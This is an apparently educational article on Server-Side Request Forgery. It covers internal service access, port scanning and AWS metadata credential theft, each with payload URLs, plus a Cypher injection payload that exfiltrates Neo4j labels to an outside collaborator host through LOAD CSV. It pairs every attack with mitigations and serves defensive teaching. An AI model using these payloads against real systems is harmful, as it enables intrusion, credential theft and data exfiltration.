A10:2021 – Server-Side Request Forgery (SSRF)
Celia Catalán.png)
Description
The 'Server-Side Request Forgery' (SSRF) attack is a type of attack in which an attacker abuses the functionality of a server to make HTTP requests to unauthorized internal or external resources. In essence, the server is tricked into performing unwanted actions on behalf of the attacker.
Impact
This type of attack can have serious consequences for the security of a web application and the underlying infrastructure. Some of the potential impacts include:
- Unauthorized access to internal resources: The attacker can access systems and data that are normally protected by firewalls or network restrictions.
- Bypassing security controls: SSRF can allow attackers to bypass security measures such as firewalls and access control lists.
- Sensitive data exfiltration: Attackers can use SSRF to extract sensitive information from internal systems.
- Internal port scanning: SSRF can be used to map the internal network and discover vulnerable services.
- Remote Code Execution: In extreme cases, SSRF can lead to arbitrary code execution on the compromised server.
Given the severity of these impacts, it is crucial that developers implement robust security measures to prevent and mitigate SSRF attacks on their web applications.
Practical Examples
1. Access to internal services
This can allow the attacker to access systems and data normally protected by firewalls or network restrictions, such as internal databases or administration panels.
http://vulnerable-app.com/fetch?url=http://localhost:8080/admin
In this example, if the application does not properly validate the provided URL, it could make a request to the internal administration panel on port 8080.
Summary
- Detect a query that makes a request to an external resource using HTTP.
- Modify the request so that the web server makes a request to the loopback interface and thus access functions or services not published abroad.
Example
After analyzing the operation of the audited web page, it can be observed that requests are made to external resources using HTTP.
Once this possible attack vector has been identified, a first recognition test is carried out to determine if requests can be made to the loopback interface.
After validating that an SSRF attack can be carried out using this vector, we try to access limited functions from the outside, such as, in this example, removing a user from the application.
Mitigations
To prevent the risks associated with these types of attacks, it is recommended:
- Validate and sanitize all user input, especially URLs.
- Implement whitelists of domains and allowed IP addresses.
- Use web application firewalls (WAF) to filter malicious requests.
- Correctly configure network firewalls to limit access to internal resources.
- Implement the principle of least privilege on servers and services.
- Use VPNs or virtual private networks to isolate critical resources.
- Disable HTTP redirects when they are not necessary.
- Implement strong authentication and authorization for all internal endpoints.
- Use internal DNS to resolve host names, avoiding the use of direct IP addresses.
- Monitor and log all network requests to detect suspicious patterns.
2. Internal port scanning
This process involves sending requests to different ports on the internal IP addresses, analyzing the responses to determine which ports are open and which services are running. With this information, the attacker could identify potential targets for future attacks, such as database servers, administration panels, or vulnerable systems that would not normally be accessible from the outside.
http://vulnerable-app.com/fetch?url=http://127.0.0.1:22
In this example, if port 22 (SSH) is open, the response could be different than if it were closed, allowing the attacker to map services from the internal network.
Summary
- Detect a query that makes a request to an external resource using HTTP.
- Modify the request so that the web server makes a request to internal IP addresses and ports that are not exposed to the outside.
- Observe different responses from the server to be able to discern when there is an IP address with an open port and when there is not.
Example
After detecting a possible attack vector with this technique, an attempt is made to identify possible private network ranges that can be accessed from the server. To do this, the intruder module will be used to iterate the numerical values of the IP addresses.
As can be seen in the screenshots, it has been possible to access internal servers and resources by exploiting the SSRF vulnerability.
Mitigations
To prevent and mitigate SSRF attacks aimed at scanning internal IP addresses and ports, it is recommended to implement the following measures:
- Implement whitelists of IP addresses and allowed ranges for internal requests.
- Use web application firewalls (WAFs) configured to detect and block suspicious request patterns.
- Segment the internal network to limit the scope of possible scans.
- Implement the principle of least privilege on internal servers and services.
- Use strong authentication and authorization for all internal endpoints.
- Monitor and log all network requests to detect scanning patterns.
- Implement rate limiting to prevent rapid and automated scans.
- Use Virtual Private Cloud (VPC) in cloud environments to isolate critical resources.
- Correctly configure security groups and access control lists (ACLs) on the network.
- Educate developers on security best practices and the risks associated with SSRF.
3. Access to metadata in cloud environments
In cloud environments, such as Amazon Web Services (AWS), attackers can exploit Server-Side Request Forgery (SSRF) vulnerabilities to attempt to access instance metadata. This metadata contains crucial information about the configuration and state of the running instance. An example of how an attacker could attempt to exploit this vulnerability is through the following URL:
http://vulnerable-app.com/fetch?url=http://169.254.169.254/latest/meta-data/
If the vulnerable application processes this request without proper precautions, it could inadvertently reveal highly sensitive information. This information could include:
- Temporary AWS Credentials
- IAM roles associated with the instance
- Network configuration data
- Custom initialization scripts
The exposure of this metadata could have serious consequences for the security of cloud infrastructure, potentially allowing attackers to escalate their privileges, move laterally within the network, or even completely compromise the AWS environment. Therefore, it is crucial to implement robust security measures to prevent this type of unauthorized access to the metadata of cloud instances.
Summary
- Detect a query that makes a request to an external resource using HTTP.
- Modify the original request so that the web server makes a request to cloud server resources that may be limited by WhiteList so that only the server can access it.
- Observe different responses from the server to be able to discern when it has been possible to access resources stored in the Cloud and when not.
Example
Scenery
A web application allows users to enter a URL to obtain information about a website. The application makes a GET request to the provided URL and displays the result. However, the application does not properly validate user input.
Steps of exploitation
- The attacker discovers that the application is hosted on Amazon Web Services (AWS).
- The attacker enters the following URL in the application input field: http://169.254.169.254/latest/meta-data/
- The application makes a request to this internal AWS IP address, which is the EC2 instance metadata endpoint.
- As a result, the application returns sensitive information about the EC2 instance, such as:
1. Instance ID2. Region3. Internal Hostname4. MAC address
5.The attacker can drill down further using specific paths, such as: http://169.254.169.254/latest/meta-data/iam/security-credentials/ to obtain the temporary security credentials of the IAM role associated with the instance.
Mitigation
To prevent this type of SSRF attacks:
- Implement a whitelist of allowed URLs
- Use a reverse proxy for outgoing requests
- Configure firewalls to block traffic to internal IP addresses
- Implement the principle of least privilege in IAM roles
- Use IMDSv2 (Instance Metadata Service version 2) which requires session tokens
4. Information exfiltration (Cypher injection)
This section will explain how it is possible to exfiltrate data using Server-Side Request Forgery techniques, after injecting malicious code into queries made to the Neo4j database.
Neo4j is an open source graph database. It is used to store and query highly interconnected data, representing information as nodes, relationships, and properties in a graph structure, allowing complex queries and data analysis to be performed efficiently.
Summary
- Detect a query through which it is possible to inject code into the queries made to the database.
- Perform queries to the database to obtain information stored in it.
- Exfiltrate the information obtained through the CSV upload function over HTTP, thus performing an SSRF technique.
Example
After analyzing the different requests made in the web application, and detecting any vulnerable to injections, we proceed to make queries to the database and exfiltrate them. An example of a payload would be:
.*' | o ] AS OriginalRequest CALL db.labels() YIELD data LOAD CSV FROM 'http:///' + data AS r //
Next, each part of the payload will be explained:
.*' | o ] AS OriginalRequest
This first part of the code closes the original query correctly and allows the attacker to concatenate the query.
CALL db.labels() YIELD data
The CALL clause is used to execute a subquery. In this case, it calls db.labels(), a built-in procedure that provides a list of all labels present in the database. For its part, the YIELD clause saves the resulting list in the "data" variable.
LOAD CSV FROM 'http:///' + data AS r //
LOAD CSV is a statement that loads a CSV file from a user-defined location using the FROM keyword. In this case, LOAD CSV makes a request to a web server enabled by the Burp collaborator functionality, adding an item from the "data" list at each iteration.
As a result, multiple requests are sent to the Burp collaborator client, each with different tag names appended to the end of the request.
The final 'AS r' part is included because the query constantly fails without it; just upload the CSV file as "r".
The two trailing slashes '//' are used to comment out the rest of the query on the same line.
Mitigation
In this case there is no fix to prevent data exfiltration using the LOAD CSV function. The mitigations start directly from avoiding the possibility of carrying out Cypher injection type attacks. For this it is recommended:
- Use Parameters: Prevent Cypher injection by using parameters instead of directly concatenating user input into queries.
- Parameterize queries: Compile queries into executable plans that cannot be modified by parameter data.
- Use APOC procedures safely: When using APOC, continue passing parameters to avoid string concatenation vulnerabilities.
- Sanitize inputs: When parameterization is not possible (for example, for node labels), sanitize user inputs by escaping special characters.
- Avoid returning database errors: Use generic error messages to prevent information disclosure through error-based injection.
- Implement proper escaping: Use appropriate escape sequences for different Cypher types (string literals, identifiers).
- Validate inputs: Check user inputs against specific criteria, but be aware of possible bypass techniques.
- Be careful with second-order injections: Continue to sanitize stored data when used in subsequent queries.
- Apply the principle of least privilege: Use role-based access control to limit the potential impact of successful injections.
- Carefully handle data imports: Be aware of potential vulnerabilities when importing data from external sources such as CSV files.
